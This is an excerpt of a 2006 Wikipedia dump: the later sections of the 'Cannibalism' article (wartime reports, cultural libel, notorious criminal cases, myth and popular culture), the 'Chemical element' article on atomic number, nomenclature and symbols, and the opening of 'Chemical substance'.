Some people claim cannibalism took place during the [[World War II|WWII]] [[siege of Leningrad]]. [http://observer.guardian.co.uk/life/story/0,6903,605454,00.html] [http://condor.depaul.edu/~rrotenbe/aeer/aeer13_2/Dickenson.html] [http://www.sovietarmy.com/books/leningrad.html]

Some [[Indigenous peoples of the Americas|American Indian]] tribes believed that by eating part of your enemy one could gain a particular characteristic of the deceased rival (Ex: Eating the heart of a brave opponent would help you gain more courage). References to cannibalizing the enemy has also been seen in poetry written when China was repressed in the [[Song Dynasty]]. (See ''[[Manjiang Hong]]'')

Documentary and forensic evidence supports eyewitness accounts of cannibalism by Japanese troops during World War II. This practice was resorted to when food ran out, even with Japanese soldiers killing and eating each other when enemy civilians were not available. In other cases, enemy soldiers were executed and then dissected.

Cannibalism was reported by at least one reliable witness, the journalist Neil Davis during the South East Asian wars of the 1960s and 1970s. Davis reported that Khmer (Cambodian) troops ritually ate portions of the slain enemy, typically the liver. However he, and many refugees, also report that cannibalism was practised non-ritually when there was no food to be found.  This usually occurred when towns and villages were under [[Khmer Rouge]] control, and food was strictly rationed, leading to widespread starvation. Ironically, any civilian caught participating in cannibalism would have been immediately executed. For details see Davis's biography ''One Crowded Hour'' by Tim Bowden.

Cannibalism has been reported in several recent [[Africa|African]] conflicts, including the [[Second Congo War]], and the civil wars in [[Liberia]] and [[Sierra Leone]]. Typically, this is apparently done in desperation, as during peacetime cannibalism is much less frequent. Even so, it is sometimes directed at certain groups believed to be relatively helpless, such as Congo [[Pygmies]]. It is also reported that [[witch doctor|African traditional healers]] sometimes use the body parts of children in their medicine.

=='Cannibalism' as cultural libel==
Numerous groups, peoples, and cultures are accused of killing and eating human beings.
See [[Blood libel]].

Unsubstantiated reports of cannibalism disproportionately relate cases of cannibalism among cultures that are already otherwise despised, feared, or are little known. In antiquity, Greek reports of ''[[anthropophagy]]'' were related to distant, non-Hellenic [[barbarians]], or else relegated in [[Greek mythology|myth]] to the 'primitive' chthonic world that preceded the coming of the Olympian gods.  In 1994, printed booklets reported that in a Yugoslavian [[concentration camp]] of [[Manjaca]] the [[Bosnian refugees]] were forced to eat each other's bodies. The reports were false. 

[[William Arens]], author of ''The Man-Eating Myth: Anthropology and Anthropophagy'' (New York : Oxford University Press, 1979; ISBN 0195027930), downplays the truth of reports of cannibalism and argues that the description by one group of people of another people as cannibals is an ideological and rhetorical device to establish moral superiority over them.  Arens bases most of his thesis on ridiculing the accuracy of [[Hans Staden]]'s account of being prisoner among the [[Tupi]]. How could Staden have understood the Tupi? The  English translation available to Arens was incomplete. In &quot;La Mia Prigionia tra i Cannibali, 1553-1555, (Longanesi &amp; C, Milan, 1970) the text gives the Tupi phrase then the translation as does the original German text. Arens thesis is based on an incomplete text. Staden was a fluent speaker of Tupi and Tupimani. Arens says there is no single eyewitness account of cannibalism. 

Arens also writes,

&quot;Anthropologists have made no serious attempt to disabuse the public of the widespread notion of the ubiquity of anthropophagists. &amp;hellip; in the deft hands and fertile imaginations of anthropologists, former or contemporary anthropophagists have multiplied with the advance of civilization and fieldwork in formerly unstudied culture areas. &amp;hellip;The existence of man-eating peoples just beyond the pale of civilization is a common ethnographic suggestion.&quot;

Conversely, [[Michel de Montaigne]]'s essay &quot;Of cannibals&quot; introduced a new multicultural note in European civilization.  Montaigne wrote that &quot;one calls 'barbarism' whatever he is not accustomed to.&quot; By using a title like that and describing a fair indigean society, Montaigne may wished to provoke a surprise in the reader of his ''Essays''.

Similarly, Japanese scholars (e.g. Kuwabara Jitsuzo) branded the Chinese culture as cannibalistic in certain propagandistic works &amp;mdash; which served as ideological justification for the assumed superiority of the Japanese during World War II.

== Sexualized cannibalism (fantasies and real) ==
The wide use of the Internet has highlighted that thousands of people harbor sexualized cannibalistic fantasies. Discussion forums and user groups exist for the exchange of pictures and stories of such fantasies. A good example of such fantasies is provided by the works of [[Dolcett]]. Typically, people in such forums fantasize about eating or being eaten by members of their sexually preferred gender. As such, the cannibalism [[fetish]] or [[paraphilia]] is one of the most extreme sexual fetishes.

Rarely ever do such fetishes leave the realm of fantasies (aided by modern technology for photo modification or completely computer generated images). There have been extreme cases of real life sexualized cannibalism, such as those of the serial killers [[Albert Fish]], [[Ed Gein]], [[Jeffrey Dahmer]], [[Sascha Spesiwtsew]], [[Fritz Haarmann]] (&quot;the Butcher of Hannover&quot;) and [[Andrei Chikatilo]] &quot;The Soviet [[Hannibal Lecter]]&quot;.

Another well-known case involved a Japanese student of English literature, [[Issei Sagawa]], who grew fond of [[Renée Hartevelt]], a 25-year-old Dutch woman he met while studying at the [[University of Paris|Sorbonne]] Academy in Paris in [[1981]]. He eventually murdered and ate her, writing a graphic yet poignant description of the act. Declared unfit to stand trial in France, his wealthy father had him extradited back to Japan where he eventually regained his freedom. The way he reveled in what he did made him a national celebrity, and he has written several bestselling novels and continues to write a nationally syndicated column.  The story is the subject of a verse in the 1986 [[Rolling Stones]] song &quot;Too Much Blood&quot; and the 1981 Stranglers song &quot;La Folie&quot;.

In December 2002, a highly unusual case was uncovered in the town of Rotenburg in [[Hesse]], [[Germany]]. In 2001 [[Armin Meiwes]], a 41-year-old computer administrator, had posted messages like his more recent ones (see [http://groups.google.de/group/alt.sex.snuff.cannibalism/msg/5f0dd5bf1f976093?hl=en&amp; messages]) in Internet [[newsgroup]]s on the subject of cannibalism, repeatedly looking for &quot;a young Boy, between 18 and 30 y/o&quot; to butcher. At least one of his requests was successful: Jürgen B., another computer administrator, offered himself to be slaughtered. The two men agreed on a meeting. Jürgen B. was, with his consent, killed and partially eaten by Armin M. Meiwes, who, as a result, was sentenced to eight-and-a-half years in jail for [[manslaughter]] (''Totschlag'', less than murder but more than killing on demand). The band [[Rammstein]] took up this case in the song [[Mein Teil]]. In [[2005#April|April 2005]], the courts ordered a retrial upon appeal of the prosecution.

This was not the first consensual killing mediated through the Internet, but it is the first such known case of consensual cannibalism.

==Cannibal themes in myth, religion or arts==
On a primitive level, ritually eating part of the slaughtered enemy is a way of assuming the life-spirit of the departed. In a funeral ritual this may also be done with a respected member of one's own clan, ensuring [[immortality]]. Cannibal ogresses appear in folklore around the world, the witch in '[[Hansel and Gretel]]' being the most immediate example.
 
The opening of [[Hell]], the Zoroastrian contribution to Western mythology, is a mouth. According to [[Catholicism|Catholic]] dogma, bread and wine are [[transubstantiation|transubstantiated]] into the real flesh and blood of [[Jesus]], which are then distributed by the priest to the faithful. For this reason, Catholics in pagan times were sometimes accused of cannibalism by suspicious non-Christians.The Christians in turn accused their opponents, such as the [[Gnosticism|Gnostic]] sect of the [[Borborites]], for cannibalism and ritual abuse.

In the [[Qur'an]] slanderers are stigmatized as those who eat the flesh of the dead body of the person they slander.

In the realms of arts and mind, there is an outstanding fantasy cannibalist: Spanish painter of twisted mustaches [[Salvador Dalí]]. During the 1950s, the Catalan artist developed a system called the &quot;[[paranoiac-critical method]].&quot; Besides many considerations about the [[unconscious]] as a source of artistic creation, he related love with food appetite, beauty with the edible possibilities of an object.

Dali didn't hide his cannibalism (in a figurative way, of course). Said he: &quot;The greatest gastronomical refinement is to eat 'cooked and live' beings.&quot; About the Pope he affirmed: &quot;Personally, I prefer much more a John XXIII pope type. He had an irresistible edible look.&quot; He asked: &quot;What is spirituality? Is it edible?&quot; He shared [[Freud]]'s view of Christianity as a form of cannibalism, because &quot;the fundamental and sublime law of our Catholic religion... is to eat the Alive God Himself.&quot; And what about Gala, his lover and wife? Said Dalí: &quot;One of my most cherished wishes: &quot;To eat loved one Gala, to ingest her in me, in my organism, molecules that contain smiling Galas swimming in Cap de Creus.&quot;

== Cannibalism as &quot;sympathetic magic&quot; ==
This is a subset of the general idea of eating a totem to absorb its distinctive power, much like [[tiger]] penis is eaten to promote virility. By eating our enemy, we take his power into ourselves. Some also consider this idea to be at the root of the Catholic dogma of [[transubstantiation]]: to acquire divinity ([[immortality]], [[sin]]lessnes) by ''absorption'', by eating the flesh of [[God]].  (However, the more likely [[Biblical]] [[theology|theological]] and historical roots of this are pertaining to the [[sacrifice|sacrificial]] offering of [[Christ]] and its reference to the representations in the Jewish [[Passover]] and the [[Feast of Unleavened Bread]], which was being celebrated during the [[Last Supper]].)

Rugby followers will have been struck recently by the new &quot;[[Haka]]&quot; of the [[All Blacks]]/New Zealand team. In it the well-documented ritual cannibalism of the Maori is represented not only by the &quot;opening of the chest&quot; of the more usual &quot;Kamate Kamate&quot; Haka which has been consistently performed by the [[New Zealand]] [[Rugby union|Rugby]] Football team - immediately after the singing of National Anthems - since 1905, but by a dramatic throat-slitting gesture at the climax of the new ceremony which was memorably led by the All Blacks captain Tana Umaga in the Test match against [[England]] at [[Twickenham]] in 2005.

==Cannibalism as a funeral rite==
Several cultures have been known to eat their dead loved ones as a matter of course, such as the Fore tribe of New Guinea (see above).

== Cannibalism in popular culture ==
{{spoiler}}

Some examples of cannibalism in popular culture:
* [[Classical mythology]]:
** [[Thyestes]]
** [[Tereus]]
* [[William Shakespeare]]'s ''[[Titus Andronicus]]'', in which a character is unknowingly served a pie made from the remains of her two sons
* [[Herman Melville]]'s ''[[Typee]]'', a semi-factual account of Melville's voyage to the Pacific Island of [[Nuku Hiva]], where he spent several weeks living among the island's cannibal inhabitants, after which he fled the island fearing to be eaten. 
* [[H. G. Wells]]'s ''[[The Time Machine]]'', an [[1896]] science fiction novel features cannibalism by the more advanced species, the [[Morlock]]s, as a means of survival.
* [[Jack London]]'s ''[[White Fang]]'', in which White Fang attacks and devours Lip-Lip, a rival sled-dog.
* ''[[Stranger in a Strange Land]]'' by [[Robert A. Heinlein]]. Among (non-human) [[Martian]]s, eating one's dead friends is an act of great respect. Some humans adopt the practice. 
* In ''[[Soylent Green]]'', a [[1973]] science fiction film starring [[Charlton Heston]], [[Edward G. Robinson]], and [[Joseph Cotten]], Soylent Green is the processed remains of corpses rendered into small green crackers.
* [[&quot;Nightmare Cafeteria&quot;]], the third and final segment of [[The Simpsons]] [[Treehouse of Horror V]]. To respond to the overwhelming number of students in [[detention]], the teachers at [[Springfield Elementary School]] start to eat all the children. This was a parody of ''Soylent Green''.
* ''[[Secrets (play)|Secrets]]'', a 1973 TV comedy play by [[Michael Palin]] and [[Terry Jones]] in which some chocolate factory workers fall into a mixing vat and become part of the confectionery
*''[[The Texas Chain Saw Massacre]]'' ([[1974]]) and its sequels fictionalize the accounts of [[Ed Gein]], turning the cannibal-murderer into an entire family of psychopaths.
* [[Cannibal film]]s are a collection of [[horror film]]s depicting cannibalism, created from the late 1970s through the early 1990s by Italian moviemakers. The most popular movie in this category is without doubt [[Cannibal Holocaust]] (1979).
*Numerous [[zombie]] [[horror film]]s include cannibalism by the undead as a main plot element. Zombies, for reasons varying movie to movie, feed off of the flesh of the living. Often any damage done to living tissue, such as a zombie bite, will rapidly infect and kill the living, thus giving rise to a new zombie. In ''[[Dawn of the Dead (1978 film)|Dawn of the Dead]]'', there is a statement from a character that refutes zombies as cannibals based on technical definition since they only feed on the living or fresh corpses, but not each other.
* [[Hannibal Lecter]], a fictional character created by [[Thomas Harris]] in the [[1983]] novel ''[[Red Dragon]]'', as well as Harris's [[1992]] ''[[The Silence of the Lambs]]'', and ''[[Hannibal (novel)|Hannibal]]''. The character and his cannibalistic acts were made even more famous when adapted to film, though the original ''Red Dragon'' adaptation, ''[[Manhunter (film)|Manhunter]]'', never states or implies Lecter's cannibalism.
* ''[[Survivor Type]]'', a short story in [[Stephen King]]'s [[1985]] collection ''[[Skeleton Crew]]''. The story follows a [[shipwreck]] victim stranded on a remote [[island]], driven to eat his own body parts to survive. 
* [[Fannie Flagg]]'s novel ''[[Fried Green Tomatoes at the Whistle Stop Cafe]]'', in which investigators are unknowingly fed the [[barbecue]]d ribs of a man whose murder they are investigating.
* ''[[Eat the Rich]]'', a [[1987]] black comedy in which a disgruntled waiter and his friends kill the management and arrogant clientele and then fed the bodies to unsuspecting customers.
*  [[Patrick Bateman]], a fictional character created by [[Bret Easton Ellis]] in the 1987 novel ''[[The Rules of Attraction]]'', but most famously depicted in Ellis's ''[[American Psycho]]'', released in 1991
* ''[[The Cook, The Thief, His Wife and Her Lover]]'', a 1989 film written and directed by [[Peter Greenaway]]
* ''[[Delicatessen (film)|Delicatessen]]'', a 1991 comedy film written and directed by [[Jean-Pierre Jeunet]] and [[Marc Caro]]
* ''[[Eating Raoul]]'', a 1982 black comedy by [[Paul Bartel]]
* [[Sweeney Todd]], a play about a barber who kills his customers and sells their flesh as food.
* ''Diary of a Madman'' by [[Lu Xun]], a story in which a madman gradually became convinced that the history of Chinese civilization could be summarized in two words, &quot;eat people&quot;, and that his friends and relatives all intend to eat him. Also ''Auntie Xianglin'', a 1918 short story.
* ''Parents'', a [[1989]] film directed by Bob Balaban about a disturbed young boy who suspects his parents are cooking more than just hamburgers on their backyard grill.
* ''[[Ravenous]]'', a [[1999]] black comedy written by Ted Griffen and directed by Antonia Bird. Based loosely on the Donner Party true story.
* ''[[Sin City (film)|Sin City]]'', a film by Frank Miller and Robert Rodriguez, features a character played by [[Elijah Wood]] who eats the bodies of prostitutes, as well as forcing them to watch as he eats their severed limbs.
&lt;!-- Note: I feel that Soylent Green should not be included here, as it is essentially giving away the &quot;twist&quot; of the movie and amounts to a spoiler. You might feel otherwise. --&gt;
&lt;!-- Response/Opinion: You could argue you the same for Delicatessen. As it is, Soylent Green has become a cultural touchstone, so much so that more people probably know the twist than have actually seen the film. (And I haven't seen the film myself.) But most importantly, here's the policy page on [[Wikipedia:Warn_readers_about_spoilers|spoilers]]. I've decided to make a custom spoiler warning. --&gt;
&lt;!-- I'm giving away the &quot;twist&quot; anyway, for the folks who don't know what it's about. --&gt;
* ''[[Cannibal! The Musical]]'', a fictionalized account of [[Alferd Packer|Alferd Packer's]] cannibalism written and directed by [[Trey Parker]] of ''[[South Park]]'' fame, which itself also depicts cannibalism in its episode ''[[Scott Tenorman Must Die]]''.
* ''Courtship Rite'' by [[Donald Kingsbury]], a [[science fiction]] novel in which cannibalism is an essential theme.
*''The Republic of Wine: A Novel'' by [[Mo Yan]], in which cannibalism is practiced by officials in modern China.
*''[[Haunted (novel)|Haunted]]'', a novel by American Author [[Chuck Palahniuk]] contains several incidences of cannibalism.
*''[[Dumplings (film)|Dumplings]]'' by [[Fruit Chan]], wherein [[fetus|foetuses]] are consumed.
*''[[Underground (role playing game)|Underground]]'', a role playing game in which a popular restaurant chain called &quot;Tastee Ghoul&quot; serves food made from human flesh.
*''[[The Water Margin]]'', a Chinese novel in which cannibalism theme occured on occasion, in one episode a hero named [[Wu Song]] uncover an inn that drug their travellers and kill them to sell their victims as meatbun.
* ''The Cannibal Within'' by Mark Mirabello.[http://www.geocities.com/cannibalwithin/]  Horror novella based on the theme that &quot;Ingestion is the ultimate act of domination.  The victim is absorbed by the eater--body and soul are absorbed--and all that remains is excrement.&quot;
* ''[[Motel Hell]]'' ([[1980]]), a black comedy written by Robert and Steven-Charles Jaffe and directed by Kevin Conner, in which a farmer captures and fattens people and later converts them into his popular brand of sausages.
*[[Zhu Yu]], a [[Chinese]] [[conceptual artist]], became famous for his staging of many photographs of himself eating a cooked human [[fetus|foetus]]. Though he himself has claimed in interviews that the foetus was real, obtained from an abortion clinic, some reports indicate that it was likely [[duck]] meat mixed with parts from a baby [[doll]]. [[Zhu Yu]] briefly found himself the subject of a [[chain mail|chain e-mail]] backlash that singled out [[Asian]] communities for allegedly taking their &quot;unusual&quot; [[cuisine]] tastes too far. The chain eventually reached the [[Federal Bureau of Investigation|FBI]] and [[Scotland Yard]], both of whom performed full investigations into the pictures.
{{endspoiler}}

== See also ==
*[[Androphagi]] or [[Anthropophagi]], an ancient nation of cannibals
*[[Boyd Massacre]], where indigenous Maori killed and ate almost 70 crew members of a ship that flogged the son of a chief
*[[Alexander &quot;Sawney&quot; Bean]], the head of a mythical Scottish family of 48 who murdered and cannibalized over 1000 people.
*[[Alferd Packer]], a Colorado cannibal
*[[Donner Party]], a group of people who resorted to cannibalism when snowbound
*[[Liver-Eating Johnson]]
*[[Armin Meiwes]]
*[[Michael Rockefeller]] - son of New York governor [[Nelson Rockefeller]] whose disappearance off the coast of New Guinea after an accident in 1961 led to media speculation that he might have been killed by cannibals.
*[[Sumanto]], an Indonesian cannibal. 
*[[Placentophagy]]
*[[Tobias Schneebaum]],  American anthropoligist and artist who lived with cannibalistic tribes in South America and New Guinea
*[[Wendigo]] refers to a [[Mythology|myth]]ical malevolent [[supernatural creature]] whose physical deformities suggest starvation and frostbite; and personifies the hardships of winter and the taboo of cannibalism.
*[[Jeffrey Dahmer]]

== Other uses of the word ==
*[[Mechanic]]s sometimes use the verb '''cannibalize''' for dismantling one vehicle or other machine to get parts to repair another.
*[[Cannibalization]] is a business term for where one product takes sales from another product manufactured by the same company, rather than gaining sales by displacing competitor's products.
*The use of the word &quot;cannibalistic&quot; to describe animals which eat humans is a common misuse of the word.

== References ==
# {{note|tanaka}} Tanaka, Toshiyuki, and Tanaka, Yuki (1996). ''Hidden Horrors: Japanese War Crimes in World War II.'' ISBN 0813327172.
#[[Encyclopædia Britannica]] 2005 edition.
#{{note label|1728|3|^}}{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240147&amp;isize=L Anthropophagy].

== External links == 
* [http://www.jqjacobs.net/anthro/cannibalism.html The Cannibalism Paradigm: Assessing Contact Period Ethnohistorical Discourse, by James Q. Jacobs].  A critical, academic review of Mesoamerican cannibalism claims.
* [http://news.bbc.co.uk/2/hi/europe/2569095.stm BBC article about German cannibalism case]
* [http://www.uq.edu.au/~pdwgrey/web/can/cannibalism.html In Defence of Cannibalism]. 1982 essay by philosopher [[Richard Routley]] which examines whether and under what circumstances (e.g. eating those who died from natural causes) cannibalism might be morally acceptable.
*[http://www.lehigh.edu/~ejg1/natimag/Harry.html Harry J. Brown, 'Hans Staden among the Tupinambas.'] 
*[http://www.edgehill.ac.uk/Faculties/HMSAS/english/rh/degrees/rccomhtnew.htm Markman Ellis, &quot;Crusoe, cannibalism and empire.&quot;] Robinson Crusoe's fearful ruminations on cannibals, and Capt. Cook's reports of Maori cannibalism, which were convincing to many 18th and 19th century Europeans, though not to all modern anthropologists, set into the context of colonial empire-building.
*[http://times.discovery.com/convergence/insidenorthkorea/video/video.html Video clip showing reports of cannibalism in North Korea]
* [http://samvak.tripod.com/cannibalism.html History and ethical considerations of cannibalism]
* [http://www.lyricstop.com/m/meinteil-rammstein.html Lyrics and English translation of Mein Teil, the Rammstein song about the Meiwes incident]
* [http://www.crimelibrary.com/criminal_mind/psychology/cannibalism/ Cannibalism Psychology]

[[Category:Cannibalism|*]]
[[Category:Eating behaviors]]

[[bg:Канибализъм]]
[[cs:Kanibalismus]]
[[de:Kannibalismus]]
[[et:Kannibalism]]
[[fr:Cannibalisme]]
[[fy:Kannibalisme]]
[[he:קניבליזם]]
[[id:Kanibalisme]]
[[it:Cannibalismo]]
[[ja:カニバリズム]]
[[lt:Kanibalizmas]]
[[nl:Kannibalisme]]
[[no:Kannibalisme]]
[[pl:Kanibalizm]]
[[pt:Canibalismo]]
[[sl:Kanibalizem]]
[[fi:Kannibalismi]]
[[sv:Kannibalism]]
[[vi:Tục ăn thịt người]]
[[zh:同类相食]]</text>
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  </page>
  <page>
    <title>Chemical element</title>
    <id>5659</id>
    <revision>
      <id>42056376</id>
      <timestamp>2006-03-03T14:28:48Z</timestamp>
      <contributor>
        <username>Petros471</username>
        <id>390927</id>
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      <comment>Reverting testing, patent nonsense and/or vandalism to revision ID 41449394 using [[WP:POPUP|popups]]</comment>
      <text xml:space="preserve">A '''[[chemical element]]''', often called simply '''element''', is a [[chemical substance]] that cannot be divided or changed into other chemical substances by any ordinary  chemical technique. The smallest unit of this kind of chemical substances is an [[atom]]. An element is a class of substances that contain the same number of [[proton]]s in all its atoms.

==Chemistry terminology==

Earlier an '''element''' or '''pure element''' was defined as a substance which &quot;cannot be further broken down into another compound with different chemical properties&quot;  -- which should be taken to mean it consists of atoms of one element.  However, due to [[allotropy]], the [[isotope effect]], and the confusion with the more useful term referring to the general class of atoms (irrespective of what compound it may be in), this usage is in disfavor amongst contemporary chemists, and sees restricted, mostly historical, use. This definition was motivated by the observation that these elements could not be dissociated by chemical means into other compounds.  For example, water could be converted into hydrogen and oxygen, but hydrogen and oxygen could not be further decomposed, thus &quot;elemental&quot;.  There are also many counterexamples (for example &quot;elemental oxygen&quot; (O&lt;sub&gt;2&lt;/sub&gt;) can be decomposed by solely chemical means into oxygen ions and atoms which have drastically different chemical properties). There are currently 116 known elements in existence.

The remainder of this article will not concern itself with the first definition.

==Description==

The [[atomic number]] of an element, ''Z'',  is equal to the number of protons which defines the element. For example, all [[carbon]] atoms contain 6 protons in their [[atomic nucleus|nucleus]], so for carbon Z=6.  These atoms may have different amounts of neutrons, and are known as [[isotope]]s of the element.  The [[atomic mass]] of an element, ''A'', is measured in [[unified atomic mass unit]]s (u) is the average mass of all the atoms of the element in an environment of interest (usually the earth's crust and atmosphere).  Since electrons are light, and neutrons are barely more than the mass of the proton, this usually corresponds to the sum of the protons and neutrons in the nucleus of the most abundant isotope, though this is not always the case (notably chlorine, which is about three-quarters &lt;sup&gt;35&lt;/sup&gt;Cl and a quarter &lt;sup&gt;37&lt;/sup&gt;Cl).

Some isotopes are [[radioactive]] and decay into other elements upon radiating an alpha or beta particle.  Some elements have no nonradioactive isotopes, in particular all elements with Z &gt;= 84.

The lightest elements are [[hydrogen]] and [[helium]]. Hydrogen is thought to have been the first element to appear after the [[Big Bang]]. All the heavier elements are made naturally and artificially through various methods of [[nucleosynthesis]]. [[As of 2005]], there are 116 known elements: 93 occur naturally on earth (including [[technetium]] and [[plutonium]]), and 94 (including [[promethium]]) have been detected so far in the universe. The 23 elements not found on earth are derived artificially; the first purportedly synthesized element was [[technetium]], in 1937, although the trace amounts of naturally occurring technetium were not known then. All artificially derived elements are radioactive with short [[half-life|half-lives]] so that any such atoms that were present at the formation of Earth are extremely likely to have already decayed.

Lists of the elements [[List of elements by name|by name]], [[List of elements by symbol|by symbol]], [[List of elements by number|by atomic number]], [[List of elements by density|by density]], [[List of elements by melting point|by melting point]], and [[List of elements by boiling point|by boiling point]] as well as [[Ionization energies of the elements]] are available. The most convenient presentation of the elements is in the [[periodic table]], which groups elements with similar chemical properties together.

==Nomenclature== 
The naming of elements precedes the atomic theory of matter, although at the time it was not known which chemicals were elements and which compounds. When it was learned, existing names (''e.g.,'' gold, mercury, iron) were kept in most countries, and national differences emerged over the names of elements either for convenience, linguistic niceties, or nationalism. For example, the Germans use &quot;Wasserstoff&quot; for &quot;hydrogen&quot; and &quot;Sauerstoff&quot; for &quot;oxygen,&quot; while some [[romance language]]s use &quot;natrium&quot; for &quot;sodium&quot; and &quot;kalium&quot; for &quot;potassium,&quot; and the French prefer the obsolete but historic term &quot;azote&quot; for &quot;nitrogen.&quot; 

But for international trade, the [[Table of chemical elements|official names]] of the chemical elements both ancient and recent are decided by the [[International Union of Pure and Applied Chemistry]], which has decided on a sort of international English language. That organization has recently prescribed that &quot;aluminium&quot;  and &quot;caesium&quot; take the place of the US spellings &quot;aluminum&quot; and &quot;cesium,&quot; while the US &quot;sulfur&quot; takes the place of the British &quot;sulphur.&quot; But chemicals which are practicable to be sold in bulk within many countries, however, still have national names, and those which do not use the [[Latin alphabet]] cannot be expected to use the IUPAC name. According to IUPAC, the full name of an element is not capitalized, even if it is derived from a proper noun (unless it would be capitalized by some other rule, for instance if it begins a sentence).
 
In the second half of the twentieth century physics laboratories became able to produce nuclei of chemical elements that have too quick a decay rate to ever be sold in bulk. These are also named by IUPAC, which generally adopts the name chosen by the discoverer. This can lead to the controversial question of which research group actually discovered an element, a question which delayed the naming of elements with atomic number of 104 and higher for a considerable time. (See [[element naming controversy]]). 

Precursors of such controversies involved the nationalistic namings of elements in the late nineteenth century (''e.g.,'' as &quot;lutetium&quot; refers to Paris, France, the Germans were reticent about relinquishing naming rights to the French, often calling it &quot;cassiopeium&quot;). And notably, the British discoverer of &quot;niobium&quot; originally named it &quot;columbium,&quot; after the [[New World]], though this did not catch on in Europe. The Americans had to accept the international name just when it was becoming an economically important material late in the twentieth century.

==Chemical symbols== 
===Specific chemical elements===
Before chemistry became a science, [[alchemy|alchemists]] had designed arcane symbols for both metals and common compounds. These were however used as abbreviations in diagrams or procedures; there was no concept of one atoms combining to form molecules. With his advances in the atomic theory of matter, [[John Dalton]] devised his own simpler symbols, based on circles, which were to be used to depict molecules. These were superseded by the current typographical system in which chemical symbols are not used as mere abbreviations though each consists of letters of the [[Latin alphabet]] - they are symbols intended to be used by peoples of all languages and alphabets. 

The first of these symbols were intended to be fully universal; since Latin was the common language of science at that time, they were abbreviations based on the [[Latin]] names of metals -  Fe comes from Ferrum, Ag from Argentum. The symbols were not followed by a period (full stop) as abbreviations were. Later chemical elements were also assigned unique chemical symbols, based on the name of the element, but not necessarily in English. For example, [[sodium]] has the chemical symbol 'Na' after the Latin ''natrium''. The same applies to &quot;W&quot; (wolfram) for [[Tungsten]] , &quot;Hg&quot; ([[Hydrargyrum]]) for mercury and &quot;K&quot; (kalium) for [[potassium]]. Strictly taken, a symbol like Tu for tungsten or M or Me for mercury seems to be more logical.

Chemical symbols are understood internationally when element names might need to be translated. There are sometimes differences; for example, the Germans have used &quot;J&quot; instead of &quot;I&quot; for iodine, so the character would not be confused with a [[roman numeral]]. 

The first letter of a chemical symbol is always capitalized, as in the preceding examples, and the subsequent letters, if any, are always lower case (small letters).

===General chemical symbols===
There are also symbols for series of chemical elements, for comparative formulas. These are one capital letter in length, and the letters are reserved so they are not permitted to be given for the names of specific elements. For example, an &quot;X&quot; is used to indicate a variable group amongst a class of compounds (though usually a [[halogen]]), while &quot;R&quot; is used for a radical (not to be confused with [[radical_(chemistry)]], meaning a compound structure such as a hydrocarbon chain.  The letter &quot;Q&quot; is reserved for &quot;heat&quot; in a chemical reaction.  &quot;Y&quot; is also often used as a general chemical symbol, although it is also the symbol of [[Yttrium]].  &quot;Z&quot; is also frequently used as a general variable group.  &quot;L&quot; is used to represent a general [[ligand]] in inorganic and organometallic chemistry.  &quot;M&quot; is also often used in place of a general metal.

===Nonelement symbols===
Nonelements, especially in organic and organometallic chemistry, often acquire symbols which are inspired by the elemental symbols.  A few examples:

Cy - [[Cyclohexane|cyclohexyl]]; Ph - [[Phenyl|phenyl]]; Bz - [[Acyl|benzoyl]]; Bn - [[Benzyl|benzyl]]; Cp - [[Cyclopentadiene]]; Pr - [[propyl]]; Me - [[methyl]]; Et - [[ethyl]]; Tf - [[triflate]]; Ts - [[Tosyl|tosyl]].

== See also ==

* [[Abundance of the chemical elements]]
* [[Chemical compound|Compound]]
* [[Chemical elements named after people]]
* [[Chemical elements named after places]]
* [[Chemistry]]
* [[Discovery of the chemical elements]]
* [[Elements song]]
* [[Fictional element]]
* [[Periodic table]]
* [[Systematic element name]]
* [[Chemistry resources]]
* [[Table of chemical elements]]

== External links ==

{{Commons|Chemical elements}}
*[http://www.vanderkrogt.net/elements/ Elementymology &amp; Elements Multidict] word history and language dictionary

=== Chemical information ===

*[http://www.webelements.com/ WebElements]
*[http://www.vcs.ethz.ch/chemglobe/ptoe/ ChemGlobe]
*[http://pearl1.lanl.gov/periodic/default.htm Los Alamos National Laboratory]
*[http://www.chemicalelements.com/ ChemicalElements]


[[Category:Chemical elements| ]]


[[bg:Химичен елемент]]
[[bn:রাসায়নিক মৌল]]
[[ca:Element químic]]
[[cs:Chemický prvek]]
[[da:Grundstof]]
[[de:Chemisches Element]]
[[el:Χημικό στοιχείο]]
[[et:Keemiline element]]
[[es:Elemento químico]]
[[eo:Kemia elemento]]
[[fa:عنصرهای شیمیایی]]
[[fr:Élément chimique]]
[[gl:Elemento químico]]
[[he:יסוד כימי]]
[[hr:Kemijski element]]
[[id:Unsur kimia]]
[[io:Kemia elemento]]
[[it:Elemento chimico]]
[[ka:ქიმიური ელემენტი]]
[[ko:화학 원소]]
[[lv:Ķīmiskais elements]]
[[ms:Unsur kimia]]
[[nl:Scheikundig element]]
[[nds:Chemisch Element]]
[[ja:元素]]
[[no:Grunnstoff]]
[[nn:Grunnstoff]]
[[pl:Pierwiastek chemiczny]]
[[pt:Elemento químico]]
[[ru:Химический элемент]]
[[simple:Element]]
[[sl:Kemijski element]]
[[sr:Хемијски елемент]]
[[su:Unsur kimia]]
[[fi:Alkuaine]]
[[ro:Element chimic]]
[[sv:Grundämne]]
[[th:ธาตุเคมี]]
[[vi:Nguyên tố hóa học]]
[[zh:元素]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical substance</title>
    <id>5660</id>
    <revision>
      <id>41755421</id>
      <timestamp>2006-03-01T14:43:24Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
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      <comment>Revert to revision 41755290 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">A '''chemical substance''' is any [[matter|material]] substance used in or obtained by a process in [[chemistry]]. It can be an element, a compound, or a mixture thereof:

* A '''[[chemical element]]''' is a substance that cannot be divided or changed into different substances by ordinary chemical methods. The smallest particle of such an element is an '''[[atom]]''', which consists of [[electron]]s centered about an [[atomic nucleus|nucleus]] of [[proton]]s and [[neutron]]s.

* A '''[[chemical compound]]''' is a substance consisting of two or more [[chemical element]]s that are chemically combined in fixed proportions.

* A '''[[molecule]]''' is the smallest particle of an element or compound that retains the chemical characteristics of the element or compound.

* An '''[[ion (physics)|ion]]''' is an [[atom]] or group of atoms with a net electric charge, having lost (''cation'') or gained (''anion'') an [[electron]].

